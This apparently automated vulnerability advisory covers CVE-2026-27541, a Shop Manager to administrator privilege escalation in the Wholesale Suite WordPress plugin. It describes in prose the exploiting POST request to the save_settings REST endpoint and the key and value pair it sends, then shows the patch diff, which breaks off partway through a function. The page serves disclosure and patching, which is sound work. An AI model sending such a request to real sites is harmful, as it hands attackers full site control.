Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-27541: Wholesale Suite <= 2.2.6 – Authenticated (Shop Manager) Privilege Escalation (woocommerce-wholesale-prices)

Severity High (CVSS 7.2)
CWE 269
Vulnerable Version 2.2.6
Patched Version 2.2.7
Disclosed February 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27541:
This vulnerability is an authenticated privilege escalation in the Wholesale Suite plugin for WordPress. Attackers with Shop Manager-level access can elevate their privileges to administrator. The flaw resides in the REST API endpoint permission check, allowing unauthorized modification of critical WordPress options.

The root cause is an insufficient capability check in the `permission_admin_check` function within `/woocommerce-wholesale-prices/includes/class-wwp-admin-settings.php`. The vulnerable code at line 173 used `current_user_can(‘manage_woocommerce’)`, which Shop Manager users possess. This allowed them to access the `/save_settings` REST endpoint. The endpoint’s `save_settings` function (lines 194-303) processed arbitrary option keys via a flawed prefix-based allowlist. The `$allowed_prefix` array and `$prefix_pattern` regex (lines 196-216) permitted keys starting with specific prefixes, but the plugin did not validate the full key against a strict allowlist. Attackers could exploit this to set any WordPress option, including those controlling user roles.

Exploitation requires a Shop Manager or higher authenticated user to send a POST request to the `/wp-json/wholesale/v1/save_settings` REST endpoint. The attacker submits a JSON payload containing an array of objects with `key` and `value` parameters. The key must match the vulnerable prefix pattern (e.g., `wwp_`). By setting `key` to `wwp_default_role` or another option that influences user capabilities, and `value` to `administrator`, the attacker modifies WordPress settings to grant themselves administrator privileges. The request bypasses proper authorization because the capability check passes for Shop Managers.

The patch replaces the weak `manage_woocommerce` capability check with `manage_options` (line 173), which only administrators possess. It removes the prefix-based allowlist entirely (lines 196-216, 224-240) and implements a strict allowlist system. New methods `get_allowed_option_keys` (lines 324-357) and `get_control_type_map` (lines 359-409) build explicit allowlists from registered plugin settings. The `save_settings` function now validates each option key against `$allowed_keys` (line 254) and sanitizes values via `sanitize_option_value` (line 258). The patch also adds action validation via `get_allowed_group_actions` (lines 482-518) and `get_allowed_trigger_actions` (lines 520-542). These changes ensure only authorized users can modify explicitly permitted settings.

Successful exploitation grants the attacker full administrator privileges on the WordPress site. This allows complete control over the website, including user management, plugin installation, theme modification, and data access. The attacker can create backdoors, steal sensitive information, deface the site, or use the compromised site for further attacks. The CVSS score of 7.2 reflects high impact due to the complete system compromise possible after privilege escalation.

Differential between vulnerable and patched code

Code Diff
--- a/woocommerce-wholesale-prices/includes/class-wwp-admin-settings.php
+++ b/woocommerce-wholesale-prices/includes/class-wwp-admin-settings.php
@@ -170,7 +170,7 @@
          */
         public function permission_admin_check( $request ) { // phpcs:ignore.

-            if ( ! current_user_can( 'manage_woocommerce' ) ) {
+            if ( ! current_user_can( 'manage_options' ) ) {
                 return new WP_Error( 'rest_forbidden', esc_html__( 'You do not have permission to save data.', 'woocommerce-wholesale-prices' ), array( 'status' => 403 ) );
             }

@@ -194,24 +194,10 @@
                 'message' => esc_html__( 'Settings saved successfully.', 'woocommerce-wholesale-prices' ),
             );

-            $allowed_prefix = array(
-                'wwp_',
-                'wwpp_',
-                'wwof_',
-                'wwlc_',
-                'wpay_',
-            );
-            $allowed_prefix = apply_filters( 'wwp_allowed_settings_prefix', $allowed_prefix );
-
-            $prefix_pattern = '/^(' . implode(
-                '|',
-                array_map(
-                    function ( $prefix ) {
-                        return preg_quote( $prefix, '/' );
-                    },
-                    $allowed_prefix
-                )
-            ) . ')/';
+            // Deprecate the old prefix-based filter.
+            if ( has_filter( 'wwp_allowed_settings_prefix' ) ) {
+                _deprecated_hook( 'wwp_allowed_settings_prefix', '2.2.7', 'wwp_allowed_settings_keys' );
+            }

             if ( ! empty( $params ) ) {

@@ -224,29 +210,10 @@
                     }
                 }

-                $ignored_keys = array(
-                    'action',
-                    'enable_wholesale_role_cart_quantity_based_wholesale_discount',
-                    'enable_wholesale_role_cart_quantity_based_wholesale_discount_mode_2',
-                    'enable_wholesale_role_cart_only_apply_discount_if_min_order_req_met',
-                    'apply_discounts_to_wholesale_products_only',
-                );
-                $ignored_keys = apply_filters( 'wwp_ignored_settings_keys', $ignored_keys );
-
                 $options = array();
                 foreach ( $params as $param ) {
-                    if ( ! $has_action && ! in_array( $param['key'], $ignored_keys, true ) ) {
-                        $is_allowed = false;
-                        if ( isset( $param['key'] ) && preg_match( $prefix_pattern, $param['key'] ) ) {
-                            $is_allowed = true;
-                        }
-
-                        if ( ! $is_allowed ) {
-                            continue;
-                        }
-                    }
-
                     if ( is_array( $param ) && isset( $param['key'] ) ) {
+                        $key         = sanitize_key( $param['key'] );
                         $value       = isset( $param['value'] ) ? $param['value'] : '';
                         $final_value = $value;

@@ -259,17 +226,38 @@
                             }
                         }

-                        $options[ $param['key'] ] = $final_value;
+                        $options[ $key ] = $final_value;
                     }
                 }

-                if ( ! empty( $options['action'] ) ) {
-                    // trigger the custom group save action.
-                    $settings_messages = apply_filters( 'wwp_group_settings_' . $options['action'], $options );
+                if ( $has_action && ! empty( $options['action'] ) ) {
+                    $action_name     = sanitize_key( $options['action'] );
+                    $allowed_actions = $this->get_allowed_group_actions();
+
+                    if ( ! in_array( $action_name, $allowed_actions, true ) ) {
+                        return rest_ensure_response(
+                            array(
+                                'status'  => 'error',
+                                'message' => esc_html__( 'Invalid action.', 'woocommerce-wholesale-prices' ),
+                            )
+                        );
+                    }
+
+                    // Trigger the custom group save action.
+                    $settings_messages = apply_filters( 'wwp_group_settings_' . $action_name, $options );
                 } else {
+                    // Regular save path: validate keys against explicit allowlist.
+                    $allowed_keys = $this->get_allowed_option_keys();
+                    $type_map     = $this->get_control_type_map();
+
                     foreach ( $options as $option_name => $option_value ) {
-                        $setting_value = $option_value;
-                        $arr_value     = json_decode( $setting_value, true );
+                        if ( ! in_array( $option_name, $allowed_keys, true ) ) {
+                            continue;
+                        }
+
+                        $setting_value = $this->sanitize_option_value( $option_value, $option_name, $type_map );
+
+                        $arr_value = is_string( $setting_value ) ? json_decode( $setting_value, true ) : null;
                         if ( is_array( $arr_value ) ) {
                             $setting_value = $arr_value;
                         }
@@ -303,8 +291,23 @@
             );

             if ( ! empty( $params ) && ! empty( $params['action'] ) ) {
-                // trigger the custom group save action.
-                $settings_messages = apply_filters( 'wwp_trigger_' . $params['action'], $params );
+                $action_name     = sanitize_key( $params['action'] );
+                $allowed_actions = $this->get_allowed_trigger_actions();
+
+                if ( ! in_array( $action_name, $allowed_actions, true ) ) {
+                    return rest_ensure_response(
+                        array(
+                            'status'  => 'error',
+                            'message' => esc_html__( 'Invalid action.', 'woocommerce-wholesale-prices' ),
+                        )
+                    );
+                }
+
+                // Sanitize all params before passing to filter.
+                $params = map_deep( $params, 'sanitize_text_field' );
+
+                // Trigger the custom action.
+                $settings_messages = apply_filters( 'wwp_trigger_' . $action_name, $params );
             }

             $response = array(
@@ -321,6 +324,257 @@
         }

         /**
+         * Get the list of allowed option keys derived from registered tab settings controls.
+         *
+         * Walks the controls tree returned by get_registered_tab_settings() and extracts
+         * all 'id' values to build an explicit allowlist. Additional keys can be added
+         * via the 'wwp_allowed_settings_keys' filter.
+         *
+         * @since  2.2.7
+         * @access private
+         *
+         * @return array Flat array of allowed option key strings.
+         */
+        private function get_allowed_option_keys() {
+            $settings = $this->get_registered_tab_settings();
+            $keys     = array();
+
+            if ( ! empty( $settings['controls'] ) && is_array( $settings['controls'] ) ) {
+                array_walk_recursive(
+                    $settings['controls'],
+                    function ( $value, $key ) use ( &$keys ) {
+                        if ( 'id' === $key && is_string( $value ) ) {
+                            $keys[] = $value;
+                        }
+                    }
+                );
+            }
+
+            /**
+             * Filter the list of allowed settings keys for the REST API save endpoint.
+             *
+             * @since 2.2.7
+             *
+             * @param array $keys Allowed option key strings.
+             */
+            $keys = apply_filters( 'wwp_allowed_settings_keys', $keys );
+
+            return array_unique( $keys );
+        }
+
+        /**
+         * Build a type map from registered controls (id => type).
+         *
+         * @since  2.2.7
+         * @access private
+         *
+         * @return array Associative array of option_key => control_type.
+         */
+        private function get_control_type_map() {
+            $settings = $this->get_registered_tab_settings();
+            $type_map = array();
+
+            if ( ! empty( $settings['controls'] ) && is_array( $settings['controls'] ) ) {
+                $this->extract_type_map( $settings['controls'], $type_map );
+            }
+
+            return $type_map;
+        }
+
+        /**
+         * Recursively extract id => type pairs and option choices from controls.
+         *
+         * @since  2.2.7
+         * @access private
+         *
+         * @param array $controls The controls array to walk.
+         * @param array $type_map  Reference to the type map being built.
+         */
+        private function extract_type_map( $controls, &$type_map ) {
+            foreach ( $controls as $value ) {
+                if ( is_array( $value ) ) {
+                    if ( isset( $value['id'], $value['type'] ) ) {
+                        $type_map[ $value['id'] ] = array(
+                            'type'     => $value['type'],
+                            'options'  => isset( $value['options'] ) ? $value['options'] : array(),
+                            'editor'   => ! empty( $value['editor'] ),
+                            'multiple' => ! empty( $value['multiple'] ),
+                        );
+                    }
+                    $this->extract_type_map( $value, $type_map );
+                }
+            }
+        }
+
+        /**
+         * Sanitize an option value based on the control type.
+         *
+         * @since  2.2.7
+         * @access private
+         *
+         * @param mixed  $value      The value to sanitize.
+         * @param string $option_key The option key.
+         * @param array  $type_map   Type map from get_control_type_map().
+         * @return mixed Sanitized value.
+         */
+        private function sanitize_option_value( $value, $option_key, $type_map ) {
+            if ( is_array( $value ) ) {
+                return map_deep( $value, 'sanitize_text_field' );
+            }
+
+            if ( ! isset( $type_map[ $option_key ] ) ) {
+                return sanitize_text_field( $value );
+            }
+
+            $control = $type_map[ $option_key ];
+
+            switch ( $control['type'] ) {
+                case 'checkbox':
+                case 'switch':
+                    if ( ! empty( $control['options'] ) ) {
+                        $allowed = array_keys( $control['options'] );
+                        if ( in_array( $value, $allowed, true ) ) {
+                            return $value;
+                        }
+                    }
+                    // Default checkbox values.
+                    return in_array( $value, array( 'yes', 'no' ), true ) ? $value : 'no';
+
+                case 'select':
+                case 'radio':
+                    if ( ! empty( $control['options'] ) ) {
+                        $allowed = array_keys( $control['options'] );
+
+                        // Handle multi-select: value may be a JSON-encoded array.
+                        if ( ! empty( $control['multiple'] ) ) {
+                            $decoded = is_string( $value ) ? json_decode( $value, true ) : null;
+                            if ( is_array( $decoded ) ) {
+                                $sanitized = array_values( array_intersect( $decoded, $allowed ) );
+                                return wp_json_encode( $sanitized );
+                            }
+                        }
+
+                        if ( in_array( $value, $allowed, true ) ) {
+                            return $value;
+                        }
+                        // Return first option as default if invalid.
+                        return ! empty( $allowed ) ? reset( $allowed ) : '';
+                    }
+                    return sanitize_text_field( $value );
+
+                case 'number':
+                case 'money':
+                case 'percent':
+                    if ( is_numeric( $value ) ) {
+                        return $value;
+                    }
+                    return '';
+
+                case 'textarea':
+                    if ( $control['editor'] ) {
+                        return wp_kses_post( $value );
+                    }
+                    return sanitize_textarea_field( $value );
+
+                default:
+                    return sanitize_text_field( $value );
+            }
+        }
+
+        /**
+         * Get the list of allowed group action names.
+         *
+         * @since  2.2.7
+         * @access private
+         *
+         * @return array Array of allowed group action slug strings.
+         */
+        private function get_allowed_group_actions() {
+            // WWP core group actions.
+            $actions = array(
+                'group_save',
+                'group_delete',
+                'group_edit',
+            );
+
+            // Auto-detect group actions registered by companion plugins via WordPress hooks.
+            // This ensures backwards compatibility with older plugin versions that register
+            // 'wwp_group_settings_*' hooks but don't yet use the 'wwp_allowed_group_actions' filter.
+            $actions = array_merge( $actions, $this->detect_registered_hooks( 'wwp_group_settings_' ) );
+
+            /**
+             * Filter the list of allowed group actions for the REST API save endpoint.
+             *
+             * Companion plugins should add their group action slugs via this filter.
+             *
+             * @since 2.2.7
+             *
+             * @param array $actions Allowed group action slug strings.
+             */
+            return array_unique( apply_filters( 'wwp_allowed_group_actions', $actions ) );
+        }
+
+        /**
+         * Get the list of allowed trigger action names.
+         *
+         * @since  2.2.7
+         * @access private
+         *
+         * @return array Array of allowed trigger action slug strings.
+         */
+        private function get_allowed_trigger_actions() {
+            // Auto-detect trigger actions registered by companion plugins via WordPress hooks.
+            // This ensures backwards compatibility with older plugin versions that register
+            // 'wwp_trigger_*' hooks but don't yet use the 'wwp_allowed_trigger_actions' filter.
+            $actions = $this->detect_registered_hooks( 'wwp_trigger_' );
+
+            /**
+             * Filter the list of allowed trigger actions for the REST API action endpoint.
+             *
+             * Companion plugins should add their trigger action slugs via this filter.
+             *
+             * @since 2.2.7
+             *
+             * @param array $actions Allowed trigger action slug strings.
+             */
+            return array_unique( apply_filters( 'wwp_allowed_trigger_actions', $actions ) );
+        }
+
+        /**
+         * Detect registered WordPress hooks matching a given prefix and extract action slugs.
+         *
+         * Scans the global $wp_filter for hooks that start with the given prefix and returns
+         * the action slug portion (everything after the prefix). This provides backwards
+         * compatibility with companion plugins that register hooks but haven't yet been
+         * updated to use the explicit allowlist filters.
+         *
+         * @since  2.2.7
+         * @access private
+         *
+         * @param string $prefix The hook prefix to match (e.g. 'wwp_group_settings_' or 'wwp_trigger_').
+         * @return array Array of action slug strings extracted from matching hooks.
+         */
+        private function detect_registered_hooks( $prefix ) {
+            global $wp_filter;
+
+            $actions       = array();
+            $prefix_length = strlen( $prefix );
+
+            if ( ! empty( $wp_filter ) && is_array( $wp_filter ) ) {
+                foreach ( array_keys( $wp_filter ) as $hook_name ) {
+                    if ( 0 === strpos( $hook_name, $prefix ) ) {
+                        $slug = substr( $hook_name, $prefix_length );
+                        if ( ! empty( $slug ) ) {
+                            $actions[] = $slug;
+                        }
+                    }
+                }
+            }
+
+            return $actions;
+        }
+
+        /**
          * Get settings details.
          *
          * @since  2.0
@@ -1650,7 +1904,7 @@
          * @access public
          */
         public function wwp_new_settings_notice_hide() {
-            if ( ! wp_doing_ajax() || ! wp_verify_nonce( $_POST['nonce'], 'wwp_new_settings_notice_nonce' ) ) { // phpcs:ignore.
+            if ( ! WWP_Helper_Functions::verify_ajax_nonce( 'wwp_new_settings_notice_nonce' ) ) {
                 // Security check failure.
                 return;
             }
--- a/woocommerce-wholesale-prices/includes/class-wwp-bootstrap.php
+++ b/woocommerce-wholesale-prices/includes/class-wwp-bootstrap.php
@@ -414,7 +414,7 @@
          * @access public
          */
         public function wwp_getting_started_notice_hide() {
-            if ( ! wp_doing_ajax() || ! wp_verify_nonce( $_POST['nonce'], 'wwp_getting_started_nonce' ) ) {  //phpcs:ignore
+            if ( ! WWP_Helper_Functions::verify_ajax_nonce( 'wwp_getting_started_nonce' ) ) {
                 // Security check failure.
                 return;
             }
--- a/woocommerce-wholesale-prices/includes/class-wwp-helper-functions.php
+++ b/woocommerce-wholesale-prices/includes/class-wwp-helper-functions.php
@@ -1506,5 +1506,20 @@

             return $icon_url;
         }
+        /**
+         * Verify an AJAX request by checking wp_doing_ajax(), nonce existence, and nonce validity.
+         *
+         * @param string $nonce_action The nonce action name to verify against.
+         *
+         * @since  2.2.7
+         * @access public
+         *
+         * @return boolean True if the AJAX request passes all security checks, false otherwise.
+         */
+        public static function verify_ajax_nonce( $nonce_action ) {
+            return wp_doing_ajax()
+                && isset( $_POST['nonce'] )
+                && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), $nonce_action );
+        }
     }
 }
--- a/woocommerce-wholesale-prices/includes/class-wwp-marketing.php
+++ b/woocommerce-wholesale-prices/includes/class-wwp-marketing.php
@@ -259,7 +259,7 @@
          * @access public
          */
         public function wwp_hide_acfwf_install_notice() {
-            if ( ! wp_doing_ajax() || ! wp_verify_nonce( $_POST['nonce'], 'wwp_hide_acfwf_install_notice_nonce' ) ) { //phpcs:ignore
+            if ( ! WWP_Helper_Functions::verify_ajax_nonce( 'wwp_hide_acfwf_install_notice_nonce' ) ) {
                 // Security check failure.
                 return;
             }
@@ -321,7 +321,7 @@
          */
         public function ajax_request_review_response() {

-            if ( ! wp_doing_ajax() || ! wp_verify_nonce( $_POST['nonce'], 'wwp_request_review_nonce' ) ) { //phpcs:ignore
+            if ( ! WWP_Helper_Functions::verify_ajax_nonce( 'wwp_request_review_nonce' ) ) {
                 $response = array(
 					'status'    => 'fail',
 					'error_msg' => __( 'Security check failure', 'woocommerce-wholesale-prices' ),
@@ -330,8 +330,8 @@
                 echo wp_json_encode( $response );
                 wp_die();

-            } elseif ( ! isset( $_POST['review_request_response'] ) ||
-                ! in_array( $_POST['review_request_response'], array( 'review-later', 'review', 'never-show' ), true ) ) {
+            } elseif ( ! isset( $_POST['review_request_response'] ) || // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce verified via WWP_Helper_Functions::verify_ajax_nonce() above.
+                ! in_array( sanitize_text_field( wp_unslash( $_POST['review_request_response'] ) ), array( 'review-later', 'review', 'never-show' ), true ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce verified above.

                 $response = array(
 					'status'    => 'fail',
@@ -343,7 +343,7 @@

             } else {
                 // Sanitize.
-                $review_request_response = sanitize_text_field( $_POST['review_request_response'] ); //phpcs:ignore
+                $review_request_response = sanitize_text_field( wp_unslash( $_POST['review_request_response'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce verified above.

                 switch ( $review_request_response ) {
                     case 'review-later':
--- a/woocommerce-wholesale-prices/includes/class-wwp-script-loader.php
+++ b/woocommerce-wholesale-prices/includes/class-wwp-script-loader.php
@@ -526,7 +526,7 @@
              */
             if (
                 ! WWP_Helper_Functions::is_wwpp_active() &&
-                isset( $_GET['tab'] ) && 'wwp_settings' === $_GET['tab'] // phpcs:ignore
+                isset( $_GET['tab'] ) && 'wwp_settings' === sanitize_key( wp_unslash( $_GET['tab'] ) ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended
             ) {

                 // Queue up stuff that is used on all tabs.
@@ -539,8 +539,8 @@
                 wp_enqueue_style( 'wwp-free-training-guide-css', WWP_CSS_URL . 'backend/wwp-free-training-guide.css', array(), $this->_wwp_current_version, 'all' );

                 // Handle each section of the settings (General, Price, Tax, Upgrade).
-                if ( isset( $_GET['section'] ) && '' !== $_GET['section'] ) { // phpcs:ignore
-                    switch ( $_GET['section'] ) { // phpcs:ignore
+                if ( isset( $_GET['section'] ) && '' !== $_GET['section'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+                    switch ( sanitize_key( wp_unslash( $_GET['section'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                         case 'wwpp_setting_price_section':
                             wp_enqueue_script( 'wwp-price-settings', WWP_JS_URL . 'backend/wwp-price-setting.js', array( 'select2' ), $this->_wwp_current_version, true );
                             wp_localize_script(
@@ -631,8 +631,8 @@
                     // General page.
                     wp_enqueue_style( 'wwp-general-css', WWP_CSS_URL . 'wwp-general-settings.css', array(), $this->_wwp_current_version, 'all' );
                 }
-            } elseif ( isset( $_GET['section'] ) ) { // phpcs:ignore
-                switch ( $_GET['section'] ) { // phpcs:ignore
+            } elseif ( isset( $_GET['section'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+                switch ( sanitize_key( wp_unslash( $_GET['section'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                     case 'wwpp_setting_price_section':
                         $this->load_wwp_prices_settings_for_non_wholesale_users_styles_and_scripts();
                         break;
@@ -978,7 +978,7 @@
          * @since 2.1.2
          */
         public function wchome_wws_upgrade_to_premium() {
-            if ( isset( $_GET['page'] ) && 'wchome-wws-upgrade' === $_GET['page'] ) { // phpcs:ignore
+            if ( isset( $_GET['page'] ) && 'wchome-wws-upgrade' === sanitize_key( wp_unslash( $_GET['page'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                 wp_safe_redirect( esc_url_raw( WWP_Helper_Functions::get_utm_url( 'bundle', 'wwp', 'upsell', 'wchomeupgradelink' ) ) );
                 exit;
             }
@@ -1003,7 +1003,7 @@
          * @access public
          */
         public function load_wws_license_upsell_upgrade_to_premium_styles_and_scripts() {
-            if ( isset( $_GET['page'] ) && $_GET['page'] == 'wws-license-settings' ) { // phpcs:ignore
+            if ( isset( $_GET['page'] ) && 'wws-license-settings' === sanitize_key( wp_unslash( $_GET['page'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                 wp_enqueue_style( 'wws-wwp-license-upsell-upgrade-css', WWP_CSS_URL . 'backend/wwp-license-upsell-upgrade.css', array(), $this->_wwp_current_version, 'all' );
             }
         }
--- a/woocommerce-wholesale-prices/includes/class-wwp-settings.php
+++ b/woocommerce-wholesale-prices/includes/class-wwp-settings.php
@@ -696,7 +696,7 @@
          */
         public function render_license_upgrade_content() {

-            if ( isset( $_GET['section'] ) && 'wwp_license_section' === $_GET['section'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+            if ( isset( $_GET['section'] ) && 'wwp_license_section' === sanitize_key( wp_unslash( $_GET['section'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                 wp_safe_redirect( admin_url( 'admin.php?page=wws-license-settings' ) );
                 exit;
             }
@@ -776,7 +776,7 @@
             if ( WWP_Helper_Functions::is_wwpp_active() ) {

                 if ( isset( $_GET['section'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-                    switch ( $_GET['section'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+                    switch ( sanitize_key( wp_unslash( $_GET['section'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                         case 'wwpp_setting_price_section':
                             $dummy_settings_to_remove = array(
                                 'wwp_settings_explicitly_use_product_regular_price_on_discount_calc_dummy',
--- a/woocommerce-wholesale-prices/includes/class-wwp-wholesale-prices.php
+++ b/woocommerce-wholesale-prices/includes/class-wwp-wholesale-prices.php
@@ -1626,8 +1626,120 @@
     }

     /**
+     * Get the general discount percentage for a wholesale role.
+     *
+     * General discounts are configured in WWPP and stored as an option mapping
+     * wholesale roles to percentage discounts. This helper retrieves the discount
+     * for the given role, returning 0 if none is set or if WWPP is not active.
+     *
+     * @since 2.2.7
+     *
+     * @param string $wholesale_role The wholesale role key.
+     *
+     * @return float The discount percentage, or 0 if none set.
+     */
+    public static function get_general_discount_for_role( $wholesale_role ) {
+
+        $discount_mapping = get_option( 'wwpp_option_wholesale_role_general_discount_mapping', array() );
+
+        if ( ! empty( $discount_mapping ) && is_array( $discount_mapping ) && isset( $discount_mapping[ $wholesale_role ] ) ) {
+            return (float) $discount_mapping[ $wholesale_role ];
+        }
+
+        return 0;
+    }
+
+    /**
+     * Build the wholesale price filter meta query for a given role and price range.
+     *
+     * Constructs an OR meta query matching products with per-product wholesale prices,
+     * variable product wholesale prices, and (if a general discount is set) products
+     * whose retail price falls within the reverse-calculated range. Also provides a
+     * filter hook for premium plugins (e.g. WWPP) to add category-level conditions.
+     *
+     * @since 2.2.7
+     *
+     * @param string $role_key  The sanitized wholesale role key.
+     * @param float  $min_price The minimum wholesale price to filter.
+     * @param float  $max_price The maximum wholesale price to filter.
+     *
+     * @return array The meta query array.
+     */
+    private function build_wholesale_price_filter_meta_query( $role_key, $min_price, $max_price ) {
+
+        $meta_key            = $role_key . '_wholesale_price';
+        $meta_key_variations = $role_key . '_variations_with_wholesale_price';
+
+        $meta_query = array(
+            'relation' => 'OR',
+            array(
+                'key'     => $meta_key,
+                'value'   => array( $min_price, $max_price ),
+                'compare' => 'BETWEEN',
+                'type'    => 'NUMERIC',
+            ),
+            array(
+                'key'     => $meta_key_variations,
+                'value'   => array( $min_price, $max_price ),
+                'compare' => 'BETWEEN',
+                'type'    => 'NUMERIC',
+            ),
+        );
+
+        // Include products that receive wholesale pricing via general discount rules.
+        $general_discount = self::get_general_discount_for_role( $role_key );
+
+        if ( $general_discount > 0 ) {
+            // Reverse-calculate: wholesale = retail * (1 - discount/100)
+            // Therefore:         retail    = wholesale / (1 - discount/100).
+            $multiplier = 1 - ( $general_discount / 100 );
+
+            // Guard against 100% discount (division by zero).
+            if ( $multiplier > 0 ) {
+                $adjusted_min = $min_price / $multiplier;
+                $adjusted_max = $max_price / $multiplier;
+
+                $meta_query[] = array(
+                    'relation' => 'AND',
+                    array(
+                        'key'     => '_price',
+                        'value'   => array( $adjusted_min, $adjusted_max ),
+                        'compare' => 'BETWEEN',
+                        'type'    => 'DECIMAL(10,2)',
+                    ),
+                    array(
+                        'key'     => $meta_key,
+                        'compare' => 'NOT EXISTS',
+                    ),
+                    array(
+                        'key'     => $meta_key_variations,
+                        'compare' => 'NOT EXISTS',
+                    ),
+                );
+            }
+        }
+
+        /**
+         * Filter the wholesale price filter meta query.
+         *
+         * Allows premium plugins (e.g. WWPP) to add conditions for category-level
+         * wholesale pricing or other custom pricing rules.
+         *
+         * @since 2.2.7
+         *
+         * @param array  $meta_query The meta query array with OR relation.
+         * @param string $role_key   The wholesale role key.
+         * @param float  $min_price  The minimum wholesale price filter value.
+         * @param float  $max_price  The maximum wholesale price filter value.
+         */
+        return apply_filters( 'wwp_wholesale_price_filter_meta_query', $meta_query, $role_key, $min_price, $max_price );
+    }
+
+    /**
      * Configure Maximum/Minimum Values for WooCommerce Products Shortcode for Compatibility with the HUSKY – Products Filter Professional for WooCommerce Plugin.
      *
+     * @since 2.2.7 Added general discount and category-level wholesale price filtering support.
+     *
      * @param array  $query WordPress query object.
      * @param array  $atts  attributes set for woocommerce.
      * @param string $type  post_type for woocoomerce which is 'post_type'.
@@ -1650,25 +1762,7 @@
                 return $query;
             }

-            $meta_key            = $role_key . '_wholesale_price';
-            $meta_key_variations = $role_key . '_variations_with_wholesale_price';
-
-            $meta_query          = array(
-                'relation' => 'OR',
-                array(
-                    'key'     => $meta_key,
-                    'value'   => array( $min_price, $max_price ),
-                    'compare' => 'BETWEEN',
-                    'type'    => 'NUMERIC',
-                ),
-                array(
-                    'key'     => $meta_key_variations,
-                    'value'   => array( $min_price, $max_price ),
-                    'compare' => 'BETWEEN',
-                    'type'    => 'NUMERIC',
-                ),
-            );
-            $query['meta_query'] = $meta_query;
+            $query['meta_query'] = $this->build_wholesale_price_filter_meta_query( $role_key, $min_price, $max_price ); //phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
         }
         return $query;
     }
@@ -1678,7 +1772,9 @@
      * Convert into float.
      *
      * @since 2.2.5
+     *
      * @param int|string $value The subject value.
+     *
      * @return float
      */
     private function absfloat( $value ) {
@@ -1689,8 +1785,10 @@
     /**
      * Configure Maximum/Minimum Values in WooCommerce Product Queries for Compatibility with the HUSKY – Products Filter Professional for WooCommerce Plugin.
      *
+     * @since 2.2.7 Added general discount and category-level wholesale price filtering support.
+     *
      * @param object $product_query WooCommerce product query object.
-     * @param object $wc_object  WooCommerce product query object.
+     * @param object $wc_object     WooCommerce product query object.
      *
      * @return void
      */
@@ -1709,27 +1807,196 @@
                 return;
             }

-            $meta_key            = $role_key . '_wholesale_price';
-            $meta_key_variations = $role_key . '_variations_with_wholesale_price';
+            $product_query->set( 'meta_query', $this->build_wholesale_price_filter_meta_query( $role_key, $min_price, $max_price ) ); //phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+        }
+    }
+
+    /**
+     * Filter the minimum price for the WooCommerce price filter widget to use wholesale prices.
+     *
+     * When a wholesale customer views the shop, the price filter widget slider should
+     * reflect wholesale price ranges instead of retail prices.
+     *
+     * @since 2.2.7
+     *
+     * @param float $min_price The minimum price from WooCommerce.
+     *
+     * @return float The wholesale minimum price, or the original if no wholesale role.
+     */
+    public function wholesale_price_filter_widget_min_amount( $min_price ) {
+        return $this->get_wholesale_price_for_filter( $min_price, 'MIN' );
+    }
+
+    /**
+     * Filter the maximum price for the WooCommerce price filter widget to use wholesale prices.
+     *
+     * When a wholesale customer views the shop, the price filter widget slider should
+     * reflect wholesale price ranges instead of retail prices.
+     *
+     * @since 2.2.7
+     *
+     * @param float $max_price The maximum price from WooCommerce.
+     *
+     * @return float The wholesale maximum price, or the original if no wholesale role.
+     */
+    public function wholesale_price_filter_widget_max_amount( $max_price ) {
+        return $this->get_wholesale_price_for_filter( $max_price, 'MAX' );
+    }

-            $meta_query = array(
-                'relation' => 'OR',
-                array(
-                    'key'     => $meta_key,
-                    'value'   => array( $min_price, $max_price ),
-                    'compare' => 'BETWEEN',
-                    'type'    => 'NUMERIC',
-                ),
-                array(
-                    'key'     => $meta_key_variations,
-                    'value'   => array( $min_price, $max_price ),
-                    'compare' => 'BETWEEN',
-                    'type'    => 'NUMERIC',
-                ),
-            );
-            $product_query->set( 'meta_query', $meta_query );
+    /**
+     * Get the wholesale price for the price filter widget.
+     *
+     * Validates the current user's wholesale role and returns the appropriate
+     * wholesale price range value, falling back to the original price.
+     *
+     * @since 2.2.7
+     *
+     * @param float  $fallback_price The default price from WooCommerce.
+     * @param string $aggregate      'MIN' or 'MAX'.
+     *
+     * @return float The wholesale price, or the fallback if no wholesale role.
+     */
+    private function get_wholesale_price_for_filter( $fallback_price, $aggregate ) {
+
+        $user_wholesale_role = $this->_wwp_wholesale_roles->getUserWholesaleRole();
+
+        if ( empty( $user_wholesale_role ) ) {
+            return $fallback_price;
+        }
+
+        $role_key                       = sanitize_key( $user_wholesale_role[0] );
+        $all_registered_wholesale_roles = $this->_wwp_wholesale_roles->getAllRegisteredWholesaleRoles();
+
+        if ( ! isset( $all_registered_wholesale_roles[ $role_key ] ) ) {
+            return $fallback_price;
         }
+
+        $wholesale_price = $this->get_wholesale_price_range_value( $role_key, $aggregate );
+
+        return null !== $wholesale_price ? $wholesale_price : $fallback_price;
     }
+
+    /**
+     * Get the minimum or maximum wholesale price across all published products for a role.
+     *
+     * Considers per-product wholesale prices, variable product wholesale prices,
+     * and general discount applied to retail prices.
+     *
+     * @since 2.2.7
+     *
+     * @param string $role_key  The wholesale role key.
+     * @param string $aggregate 'MIN' or 'MAX'.
+     *
+     * @return float|null The aggregated price, or null if no wholesale prices found.
+     */
+    private function get_wholesale_price_range_value( $role_key, $aggregate ) {
+
